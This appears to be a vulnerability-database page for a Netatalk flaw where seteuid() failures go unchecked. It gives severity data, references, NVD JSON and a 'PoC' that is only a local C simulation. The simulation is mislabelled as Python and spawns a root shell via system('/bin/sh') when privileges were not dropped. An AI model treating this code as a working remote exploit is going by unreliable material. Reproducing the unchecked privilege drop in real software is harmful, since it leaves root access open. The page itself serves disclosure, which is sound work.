CVE-2026-44073

Description

Authentication modules in Netatalk 1.5.0 through 4.4.2 fail to check the return value of seteuid(), which may allow a remote authenticated attacker to retain elevated privileges under error conditions.

CVSS Details

CVSS Score

5.0

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Netatalk 1.5.0 - 4.4.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

// Conceptual Proof of Concept for CVE-2026-44073
// This simulates the vulnerable logic in Netatalk authentication modules.

void vulnerable_authentication_flow() {
    uid_t target_uid = 65534; // 'nobody' user
    printf("[+] Attempting to drop privileges to uid %d...\n", target_uid);

    // VULNERABILITY: The return value of seteuid is not checked.
    // If seteuid fails (e.g., resource limit reached), the process remains root.
    seteuid(target_uid);

    // The code assumes it is now running as 'nobody'
    if (geteuid() == 0) {
        printf("[!] EXPLOIT SUCCESSFUL: Privileges were NOT dropped. Still running as ROOT.\n");
        system("/bin/sh"); // Execute shell with retained root privileges
    } else {
        printf("[-] Privileges dropped successfully. Exploit failed.\n");
    }
}

int main() {
    if (geteuid() != 0) {
        printf("Please run this PoC as root to simulate the daemon context.\n");
        return 1;
    }
    vulnerable_authentication_flow();
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44073
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44073
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44073/
[4] VulDB https://vuldb.com/cve/CVE-2026-44073
[5] https://netatalk.io/security/CVE-2026-44073

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44073", "sourceIdentifier": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "published": "2026-05-21T08:16:22.913", "lastModified": "2026-05-21T15:20:19.040", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authentication modules in Netatalk 1.5.0 through 4.4.2 fail to check the return value of seteuid(), which may allow a remote authenticated attacker to retain elevated privileges under error conditions."}], "metrics": {"cvssMetricV31": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 3.4}]}, "weaknesses": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-273"}]}], "references": [{"url": "https://netatalk.io/security/CVE-2026-44073", "source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c"}]}}